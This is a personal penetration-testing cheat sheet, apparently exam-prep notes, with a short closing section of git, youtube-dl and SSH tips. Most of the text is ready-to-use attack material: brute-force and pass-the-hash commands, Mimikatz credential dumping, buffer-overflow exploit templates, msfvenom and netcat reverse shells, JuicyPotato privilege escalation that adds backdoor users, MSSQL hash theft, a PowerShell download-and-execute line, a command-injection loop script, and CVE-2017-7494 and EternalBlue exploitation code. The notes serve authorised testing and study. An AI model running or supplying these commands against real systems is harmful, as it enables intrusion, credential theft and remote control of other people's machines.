gcc -shared -fPIC -Wall -Wno-nonnull -m32 simple-payload.c config.h -o evil.so

Cross Compiling Exploits

#(32 bit)
gcc -m32 -o output32 hello.c 

#(64 bit)
gcc -m64 -o output hello.c 

Fix Shared Libraries

To fix the error: ==error while loading shared libraries: requires glibc 2.5 or later dynamic gcc==

gcc -m32 9542.c -o 9542 -Wl,--hash-sytle=both

Article: https://blog.didierstevens.com/2018/11/19/quickpost-compiling-32-bit-static-elf-files-on-kali/

For Windows

#(To compile Win32 bit executables)
i686-w64-mingw32-gcc -o FILE.exe FILE.c

#(To compile Win64 bit executables)
x86_64-w64-mingw32-gcc -o FILE.exe FILE.c

#(To Compiled .cpp source file)
i586-mingw32msvc-g++ -o FILE.exe FILE.cpp

#(To compile python scripts)
pyinstaller --onefile <SCRIPT.py>

# Compile windows .exe on Linux
i586-mingw32msvc-gcc exploit.c -lws2_32 -o exploit.exe

Post Explotation

Crackmapexec

#(Cmpe Enumeration)
crackmapexec smb <IP>
crackmapexec smb <IP> -u '' -p ''
crackmapexec smb <IP> -u 'guest' -p ''

#(List Shares)
crackmapexec smb <IP> -u '' -p '' --shares

#(Cmpe Smb Brute Force)
crackmapexec smb $IP -u $USERLIST -p $PASSWORDLIST
cmpe -t 200  smb 10.11.1.24 -u users.txt -p passwords.txt -d svcorp.com --continue-on-success


#(Cmpe winrm Brute Force)
crackmapexec winrm <IP> -u <USERS_LIST> -p <PASSWORDS_LIST>

Evil-winrm

evil-winrm -i $ip -u $user -p $password
evil-winrm -i $ip -u $user -H $hash

MIMIKATZ

privilege::debug
sekurlsa::logonpasswords
sekurlsa::tickets /export

kerberos::list /export

vault::cred
vault::list

lsadump::sam
lsadump::secrets
lsadump::cache

Lateral-Movements

winexe - Pth-winexe

Winexe load a file on the target machine while it is running

winexe -U “admin%password123” //192.168.0.105 cmd.exe

#(Pass the hash winexec)
pth-winexe -U "admin%aad3b435b51404eeaad3b435b51404ee:a9fdfa038c4b75ebc76dc855dd74f0da" //10.10.215.28 cmd.exe
pth-winexe -U "admin%aad3b435b51404eeaad3b435b51404ee:a9fdfa038c4b75ebc76dc855dd74f0da" //10.10.215.28 cmd.exe --system

psexec

psexec load a file on the target machine while it is running

#(basic use psexec)
psexec.py admin:password123@192.168.0.105 cmd.exe

#(psexec hash)
psexec.py WORKGROUP/Administrator@10.11.1.22 -hashes aad3b435b51404eeaad3b435b51404ee:ee0c207898a5bccc01f38115019ca2fb

#(we can execute a rev shell if first we can upload the nc file to the target machine)
psexec.exe -u $username  -p $password \\$ip "C:\Inetpub\nc.exe -e cmd.exe $ip $port"

Smbexec

smbexec don’t load a file on the target machine while it is running

#(basic use smbexec)
smbexec.py user:password@192.168.0.105
#(smbexec hash)
smbexec.py -hashes aad3b435b51404eeaad3b435b51404ee:a9fdfa038c4b75ebc76dc855dd74f0da admin@192.168.0.105

Data Manipulation

#regex

Sed

#(Replace Multiple Characters)
sed 's/a/A/g; s/1/23/g' test.txt > test2.txt

#(Delete Lines from 3 to 5) 
sed -e '3,5d'
sed -e '1d ; 2d ; 3d'

#(Delete lines from 5 to 10 and 12)
sed -e '5,10d;12d' file 

#(Delete white lines)
sed  '/^\s*$/d'

#(Show lines from 6 to 29)
sed -n '6,29p' $file

#(Extraer Valores con regexp)
echo "x:1157 y:451 screen:0 window:18937788" | sed 's/x:\(.*\) y:\(.*\) screen:\(.*\) window:\(.*\)/\1, \2 \4/'

>> 1157, 451 18937788

echo "x:1157 y:451 screen:0 window:18937788" | sed 's/x:\(.*\) y:\(.*\) screen:\(.*\)/\1, \2/'
>> 1157, 451

Awk

#(Delete white lines)
awk /./ $file

#(Show line number 4)
awk ‘NR==4’
awm ‘NR==4 || NR==5’

#(Show the las column)
awk '{print $NF}'

#(Modify value column number)
awk '$1="value"$1"newvalue"' FS=' ' cheatsheet.md

Filter Only the things between ‘BEGIN’ y ‘END’ with sed

echo \"BEGIN\" ; ${CMD} ; echo \"END\" | sed -n -e '/BEGIN/,/END/ p'

for example

#!/bin/bash

URL="${1}"
while true; do
	echo -n "$" 
	# reading input user
	read cmd
	# making the request
	curl --silent -d
"xajax=window_submit&xajaxr=1574117726710&xajaxargs[]=tooltips&xajaxargs[]=ip%-3D%3E;echo \"BEGIN\";${cmd};echo \"END\"&xajaxargs[]=ping" "${URL}" | sed -n -e '/BEGIN/,/END/ p' | tail -n +2 | head -n -1 ; done

Order wordlists by line Numbers

find. -type f -iname "*txt" | grep "user" | xargs wc -l | sort -nr

Extract hash

grep -oP "[A-Za-z0-9]{30,}"

Agregar un caracter a lineas con determinado Patron por ejp

cat cheatsheet.md | sed '/^[A-Z]/ s/^/##/g'

Powershell-Cheatsheet

[Environment]::Is64bitOperatingSystem [Environment]::Is64bitProcess


#(start pwsh)
powershell -nop -ep bypass

#(Load file in memory)
C:\Windows\Sysnative\WindowsPowershell\v1.0\powershell.exe IEX(New-ObjectNet.webclient).downloadstring('http://xxx.xxx.xx.x'/test.ps1)

#(powershell history)
recent
#(powershell hist)
type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
#(cmd hist)
Get-Content -Path C:\User\dark\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt

#(download file)
Invoke-WebRequest http://10.14.1.196 -OutFile $name


#(import module)
Import-Module ./powerup.ps1
Invoke-AllChecks


#(List Execution Content to know if we restricted)
powershell $ExecutionContext.SessionState.LanguageMode

==Reuse Credentials==

#(optional)
$username = "Sniper\chris" 
$pass =  "36mEAhz/B8xQ~2VM"

$password = ConvertTo-SecureString "36mEAhz/B8xQ~2VM" -AsPlainText -Force
$password = ConvertTo-SecureString $pass -AsPlainText -Force

//Credential
$credential = new-object -typename System.Management.Automation.PSCredential -argumentlist $user, $password
$credential = new-object -typename System.Management.Automation.PSCredential -argumentlist "Sniper\chris", $password


// execute commands as : 
Invoke-Command -ScriptBlock { whoami } -Credential $credential -Computer localhost

Buffer Overflow

Bof Templates

Fuzzer.py

#!/usr/bin/python
import sys, socket

direccion = '192.168.0.110'
puerto = 9999
buffer = ['A']
contador = 100

while len(buffer) <= 20 :
    buffer.append('A'*contador)
    contador = contador + 100
try :
        for cadena in buffer :
                print '[+] Enviando %s bytes...' % len (cadena)
                s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
                s.connect((direccion, puerto))
                s.recv(1024)
                s.send(cadena + '\r\n')
                s.recv(1024)
                print '[+] Listo'
except :
    print '[!] No se puede conectar al programa. Puede que lo hayas crasheado.'
    sys.exit( 0 )
finally :
    s.close()

Bof.Py

#!/usr/bin/python
import sys, socket

direccion = '127.0.0.1'
puerto = 9999
buffer = #Definir buffer

try :
	print '[+] Enviando buffer'
	s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	s.connect((direccion, puerto))
	s.send(buffer + '\r\n')
	s.recv(1024)
except :
	print '[!] No se puede conectar al programa.'
	sys.exit(0)
finally :
	s.close()

Bof-cheatsheet

Mona Commands 🐒

Usefull mona commands

#(Setting working folder)
!mona config -set workingfolder C:\Users\limon\Desktop\mona

#(Spiking Identifing Vulnerable Field)
python -c "print 'A'*5000 | xclip -sel clip "

#(to debug)
print s.recv(1024)   # to print the responses
print s.send(buffer + '\r\n' )  # to send data

#(Find the Offset)
!mona pattern_create 5000

#(Modification Payload)
buffer = "mona-pattern"

#(Overwriting EIP)
!mona pattern_offset $EIP

#(Modification Payload)
buffer = "A"*2012 + "B"*4 + "C"*100 

#(Finding Bad Characters)
!mona bytearray -b "\x00"

#(find location of a jump esp)
!mona jmp -r esp 
!mona jmp -r esp -cpb "\x00\x0a\x0d"

#(If we can't found jmp esp with thah intruction so)

#(Find ESP Jump in module)
!mona find -s "\xff\xe4"
// or if we see dll
!mona find -s "\xff\xe4" -m slmfc.dll

#(Print instruction to jmp esp)
nasm_shell
> JMP ESP

#(Modification Payload)
badchars = ($bytearray)
buffer = "A"*2012 + "B"*4 + "C"*100 + badchars



#(Find Module)
1. !mona jmp -r esp
2. !mona jmp -r esp -m 'essfunc.dll'

#(Convert from big endian to little endian - ESP Jum adress)
625014df
\xdf\x14\x50\x62

#(Modification Payload)
buffer = 'A'*2012 + "\xdf\x14\50\62" + "\x90"*20 + buff


!mona findsmp -distance 634
!mona compare -f C:\mona\vulnapp\bytearray.txt -a <ESP_badchar_address>

#(Mona modules)
!mona modules

#(find address of "jmp esp" (xff xe4))
!mona find -s "\xff\xe4" -m "suspectmodule.dll"

#(Generating Msfvenom - reverse shell)
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.0.104 LPORT=443 -b "\x00"  -f c  -v buff EXITFUNC=thread
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.92 LPORT=443  -b "\x00\x0a\x0d" -f py -v buff EXITFUNC=thread



Token Privileges

Juicy Potato

If the user has SeImpersonate or SeAssignPrimaryToken privileges then you are SYSTEM.

#(Executing Commands like nt authority trought JuicyPotato)
JuicyPotato.exe -l 1337 -p c:\windows\system32\cmd.exe -a "/c net user lemon lemon123 /add" -t *

#(Basic Use)
JuicyPotato -l 1337 -p c:\windows\system32\cmd.exe -a "/c \\192.168.119.148\share\nc.exe -e cmd.exe 192.168.119.148 443" -t *

#(Basic Use with ClSID)
JuicyPotato -l  1337  -p c:\windows\system32\cmd.exe -a "/c \\192.168.119.148\share\nc.exe -e cmd.exe 192.168.119.148 443" -t * -c "{9B1F122C-2982-4e91-AA8B-E071D54F2A4D}"

# CLSID
https://github.com/ohpe/juicy-potato/blob/master/CLSID/README.md

Windows Server 2003 churrasco

churrasco.exe -e cmd.exe
churrasco.exe -d "C:\wmpub\nc.exe 10.10.14.7 7777 -e cmd.exe"

Windows Server 2016 if the user has SeImpersonatePrivilege or SeAssignPrimaryTokenPrivilege

PrintSpoofer.exe -i -c cmd.exe

Incognito.exe

if the user has SeimpersonatePrivilege and SeDebugPrivilege we can use the module , only with both tokens enabbled

#(List avaible Tokens -> Look for the tokens of nt authority system)
incognito list_tokens -u

incognito add_user backdoor 12345
incognito add_localgroup_user Administrators backdoor

HASHES

Windows

reg save HKLM\SAM c:\SAM
reg save HKLM\System c:\System

samdump2 System SAM > hashes

MSSQL - 1433

Get information

nmap --script ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell,ms-sql-config,ms-sql-ntlm-info,ms-sql-tables,ms-sql-hasdbaccess,ms-sql-dac,ms-sql-dump-hashes --script-args mssql.instance-port=1433,mssql.username=sa,mssql.password=,mssql.instance-name=MSSQLSERVER -sV -p 1433 <IP>

Brute force

hydra -L <USERS_LIST> -P <PASSWORDS_LIST> <IP> mssql -vV -I -u

Having credentials

mssqlclient.py -windows-auth <DOMAIN>/<USER>:<PASSWORD>@<IP>
mssqlclient.py <USER>:<PASSWORD>@<IP>

# Once logged in you can run queries:
SQL> select @@ version;

# Steal NTLM hash
sudo smbserver.py -smb2support liodeus .
SQL> exec master..xp_dirtree '\\<IP>\liodeus\' # Steal the NTLM hash, crack it with john or hashcat

# Try to enable code execution
SQL> enable_xp_cmdshell

# Execute code
SQL> xp_cmdshell whoami /all
SQL> xp_cmdshell certutil.exe -urlcache -split -f http://<IP>/nc.exe

Manual exploit

Cheatsheet :
	- https://www.asafety.fr/mssql-injection-cheat-sheet/

RDP - 3389

Brute force

crowbar -b rdp -s <IP>/CIDR -u <eUSER> -C <PASSWORDS_LIST>
crowbar -b rdp -s <IP>/CIDR -U <USERS_LIST> -C <PASSWORDS_LIST>

hydra -f -L <USERS_LIST> -P <PASSWORDS_LIST> rdp://<IP> -u -vV

Connect with known credentials / hash

rdesktop -u <USERNAME> <IP>
rdesktop -d <DOMAIN> -u <USERNAME> -p <PASSWORD> <IP>

xfreerdp /u:[DOMAIN\]<USERNAME> /p:<PASSWORD> /v:<IP>
xfreerdp /u:[DOMAIN\]<USERNAME> /pth:<HASH> /v:<IP>

Session stealing

Get openned sessions

query user

Access to the selected

tscon <ID> /dest:<SESSIONNAME>

Adding user to RDP group (Windows)

net localgroup "Remote Desktop Users" <USER> /add

Cve

CVE-2017-7494

# Download exploit code
git clone https://github.com/joxeankoret/CVE-2017-7494

Create a new file named poc.c :

#include <stdio.h>
#include <stdlib.h>

int samba_init_module(void)
{
	setresuid(0,0,0);
	system("ping -c 3 <IP>");
}
# Build
gcc -o test.so -shared poc.c -fPIC
# Start an ICMP listener
sudo tcpdump -i <INTERFACE> icmp

# Exploit
./cve_2017_7494.py -t <TARGET_IP> -u <USER> -P <PASSWORD> --custom=test.so

If you reiceve 3 pings on your listener then the exploit works. Now let’s get a shell :

#include <stdio.h>
#include <stdlib.h>

int samba_init_module(void)
{
	setresuid(0,0,0);
	system("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <IP> <PORT> >/tmp/f");
}
# Build
gcc -o test.so -shared poc.c -fPIC
# Start a listener
nc -lvp <PORT>

# Exploit
./cve_2017_7494.py -t <TARGET_IP> -u <USER> -P <PASSWORD> --custom=test.so

EternalBlue (MS17-010)

#(Checking named pipes)
python eternal_checker.py $ip

#(send and execute method)
`msfvenom -p windows/shell_reverse_tcp LHOST=192.168.119.148 LPORT=443 --platform windows --arch x86 -o shell.exe`
python send_and_execute.py 10.10.10.10 shell.exe samr

#(zzz method)
python zzz_exploit.py 10.11.1.75 $pipe

#(we can modify the lines to make differents things like add users or disable firewall rules)
service_exec(conn, r'cmd /c add user lemon lemon123 /add')

#(to send and execute a file)
smb_send_file(smbConn, 'shell.exe', 'C', '/windows/temp/shell.exe')
service_exec(conn, r'cmd /c ping 10.10.14.42 && C:\windows\temp\shell.exe')
CVE
# Already compiled exploit
https://github.com/SecWiki/windows-kernel-exploits
https://github.com/abatchy17/WindowsExploits

Windows XP

CVE	Description
CVE-2002-1214	ms02_063_pptp_dos - exploits a kernel based overflow when sending abnormal PPTP Control Data packets - code execution, DoS
CVE-2003-0352	ms03_026_dcom - exploits a stack buffer overflow in the RPCSS service
CVE-2003-0533	MS04-011 - ms04_011_lsass - exploits a stack buffer overflow in the LSASS service
CVE-2003-0719	ms04_011_pct - exploits a buffer overflow in the Microsoft Windows SSL PCT protocol stack - Private communication target overflow
CVE-2003-0812	ms03_049_netapi - exploits a stack buffer overflow in the NetApi32
CVE-2003-0818	ms04_007_killbill - vulnerability in the bit string decoding code in the Microsoft ASN.1 library
CVE-2003-0822	ms03_051_fp30reg_chunked - exploit for the chunked encoding buffer overflow described in MS03-051
CVE-2004-0206	ms04_031_netdde - exploits a stack buffer overflow in the NetDDE service
CVE-2010-3138	EXPLOIT-DB 14765 - Untrusted search path vulnerability - allows local users to gain privileges via a Trojan horse
CVE-2010-3147	EXPLOIT-DB 14745 - Untrusted search path vulnerability in wab.exe - allows local users to gain privileges via a Trojan horse
CVE-2010-3970	ms11_006_createsizeddibsection - exploits a stack-based buffer overflow in thumbnails within .MIC files - code execution
CVE-2011-1345	Internet Explorer does not properly handle objects in memory - allows remote execution of code via object
CVE-2011-5046	EXPLOIT-DB 18275 - GDI in windows does not properly validate user-mode input - allows remote code execution
CVE-2012-4349	Unquoted windows search path - Windows provides the capability of including spaces in path names - can be root

Windows 7

CVE	Description
CVE-2010-0232	ms10_015_kitrap0d - create a new session with SYSTEM privileges via the KiTrap0D exploit
CVE-2010-2568	ms10_046_shortcut_icon_dllloader - exploits a vulnerability in the handling of Windows Shortcut files (.LNK) - run a payload
CVE-2010-2744	EXPLOIT-DB 15894 - kernel-mode drivers in windows do not properly manage a window class - allows privileges escalation
CVE-2010-3227	EXPLOIT-DB - Stack-based buffer overflow in the UpdateFrameTitleForDocument method - arbitrary code execution
CVE-2014-4113	ms14_058_track_popup_menu - exploits a NULL Pointer Dereference in win32k.sys - arbitrary code execution
CVE-2014-4114	ms14_060_sandworm - exploits a vulnerability found in Windows Object Linking and Embedding - arbitrary code execution
CVE-2015-0016	ms15_004_tswbproxy - abuses a process creation policy in Internet Explorer’s sandbox - code execution
CVE-2018-8494	remote code execution vulnerability exists when the Microsoft XML Core Services MSXML parser processes user input

Windows 8

CVE	Description
CVE-2013-0008	ms13_005_hwnd_broadcast - attacker can broadcast commands from lower Integrity Level process to a higher one - privilege escalation
CVE-2013-1300	ms13_053_schlamperei - kernel pool overflow in Win32k - local privilege escalation
CVE-2013-3660	ppr_flatten_rec - exploits EPATHOBJ::pprFlattenRec due to the usage of uninitialized data - allows memory corruption
CVE-2013-3918	ms13_090_cardspacesigninhelper - exploits CardSpaceClaimCollection class from the icardie.dll ActiveX control - code execution
CVE-2013-7331	ms14_052_xmldom - uses Microsoft XMLDOM object to enumerate a remote machine’s filenames
CVE-2014-6324	ms14_068_kerberos_checksum - exploits the Microsoft Kerberos implementation - privilege escalation
CVE-2014-6332	ms14_064_ole_code_execution - exploits the Windows OLE Automation array vulnerability
CVE-2014-6352	ms14_064_packager_python - exploits Windows Object Linking and Embedding (OLE) - arbitrary code execution
CVE-2015-0002	ntapphelpcachecontrol - NtApphelpCacheControl Improper Authorization Check - privilege escalation

Windows 10

CVE	Description
CVE-2015-0057	exploits GUI component of Windows namely the scrollbar element - allows complete control of a Windows machine
CVE-2015-1769	MS15-085 - Vulnerability in Mount Manager - Could Allow Elevation of Privilege
CVE-2015-2426	ms15_078_atmfd_bof MS15-078 - exploits a pool based buffer overflow in the atmfd.dll driver
CVE-2015-2479	MS15-092 - Vulnerabilities in .NET Framework - Allows Elevation of Privilege
CVE-2015-2513	MS15-098 - Vulnerabilities in Windows Journal - Could Allow Remote Code Execution
CVE-2015-2423	MS15-088 - Unsafe Command Line Parameter Passing - Could Allow Information Disclosure
CVE-2015-2431	MS15-080 - Vulnerabilities in Microsoft Graphics Component - Could Allow Remote Code Execution
CVE-2015-2441	MS15-091 - Vulnerabilities exist when Microsoft Edge improperly accesses objects in memory - allows remote code execution

Windows Server 2003

CVE	Description
CVE-2008-4250	ms08_067_netapi - exploits a parsing flaw in the path canonicalization code of NetAPI32.dll - bypassing NX
CVE-2017-8487	allows an attacker to execute code when a victim opens a specially crafted file - remote code execu

MISCELLANEOUS

Git

Config global variables tu logg-in

git config --global user.name "Tu Nombre"
git config --global user.email "correo@domain.com"

#(Let running in background Ssh-agent)
eval "$(ssh-agent -s)"

#(Creating pair of keys)
ssh-keygen -t rsa -b 4096 -C "user@domain.com"

#(Paste our publickey in git)
https://github.com/settings/keys -> **Settings** -> **Ssh and GPG** -> **New SSH key** -> **Paste our Public Key**

Creating a proyect

mkdir myproyect
git init
git add $resource
git commit -m "submiting a resource"
git remote add origin git@github.com:<username>/<Repo>.git
git branch -M main
git push -u origin main

Github

Quick setup — if you’ve done this kind of thing before
or	
git@github.com:L3monBit/l3mon-Bspwm.git
Get started by creating a new file or uploading an existing file. We recommend every repository include a README, LICENSE, and .gitignore.


or create a new repository on the command line
echo "# l3mon-Bspwm" >> README.md
git init
git add README.md
git commit -m "first commit"
git branch -M main
git remote add origin git@github.com:<Username>/<RepoName>.git
git push -u origin main




or push an existing repository from the command line
git remote add origin git@github.com:L3monBit/l3mon-Bspwm.git
git branch -M main
git push -u origin main

youtube-dl

#(The more Simple )
youtube-dl -i -f mp4 PLlb2ZjHtNkpjg3RAJH6qfJrRWeTaAjULm

youtube-dl <URL>
youtube-dl -cio "%(title)s.%(ext)s" -f mp4

#(to list formats)
youtube-dl --list-formats URL

#(Download prefered format '18')
youtube-dl -f 18 URL



#### From Github

# Basic Download:

youtube-dl URL

# Download Playlist, put in folder, and index with order:

youtube-dl -o '%(playlist)s/%(playlist_index)s - %(title)s.%(ext)s' URL

# Download to /$uploader/$date/$title.$ext:

youtube-dl -o '%(uploader)s/%(date)s/%(title)s.%(ext)s' URL

# Download playlist starting from certain video:

youtube-dl --playlist-start 5 example.com/watch?v=id&list=listid

# Simulate download:

youtube-dl -s URL

# List Formats:

youtube-dl --list-formats URL

# Download preferred format get list of formats & use -f flag:

youtube-dl -f 18 URL

# Download a list:

- create a file and place all the YouTube links that you wish to download

youtube-dl -a youtube_links.txt

xdotools

xdotool key --delay 10 'Ctrl+Super_L+alt+Down' \
xdotool key Super_L+Return \
xdotool key Super_L+Down && w=$(xdotool getactivewindow) \ 				-> Move to the spawned terminal and obtain de id window
sleep 0.5  \
xdotool type --window $w 'for x in $(cat /tmp/tmp.BxUSeM2Vz7/uface.txt); do echo $x ; sleep 0.5 ; done' \
xdotool key --window $w Return 

#(New Session)
xdotool key ctrl+b+comma \
xdotool key --repeat 10 'BackSpace' \
xdotool type 'Main' \
xdotool key Return

Zsh

#(list bindkey)
bindkey
#(list all the functions)
zle -al

#(list key code)
showkey -a

#(Using a  zsh Shell-builtin)
zle -N autosuggest-clear

#(show code key)
kev

#(property Windows)
xprop

Vmware Mount Shared Follder

#(To list Folders)
vmware-hgfsclient 

#(Mount)
sudo vmhgfs-fuse /media/l3mon -o allow_other

SSh Tricks

Articulo SSH

#(Username root)
ssh-copy-id -i id_rsa.pub -p 9999 l3mon@localhost				-> Copio mi llave publica en la session de lemon para despues loguearme con mi llave privada

#(Username l3mon)
ssh  -i id_rsa -p 9999 l3mon@localhost   			-> con el fichero authorized_keys en la session de lemon puedo loguearme con la llave privada de root

Crontab

00 0-23/4 * * * /home/l3mon/.config/bin/backup.sh

Send notification every time when a crontab run https://unix.stackexchange.com/questions/560724/unable-to-send-notifications-from-cron-job

#(Crontab guru) https://crontab.guru/

Remote Port Forwarding

Linux Machine

#(Linux)
ngrok tcp 9999 			-> Expose the port 9999 to outbound


#(Windows)
ssh -R 8888:localhost:22 l3mon@2.tcp.ngrok.io -p 17424

#(Linux)
ssh user-pc@localhost -p 8888

Ngrok - Proxy Socks with SSH Linux

Debian Lab

#(Linux)
ssh -D 1080 l3mon@2.tcp.eu.ngrok.io -p 14185

Enrutar paquetes

route add -net 192.168.135.0/24 netmask 255.255.255.0 		
route add default gw 192.168.135.1 eth0				-> Add Default Gateway
route delete default gw 192.168.135.1 eth0			-> Remove Gateway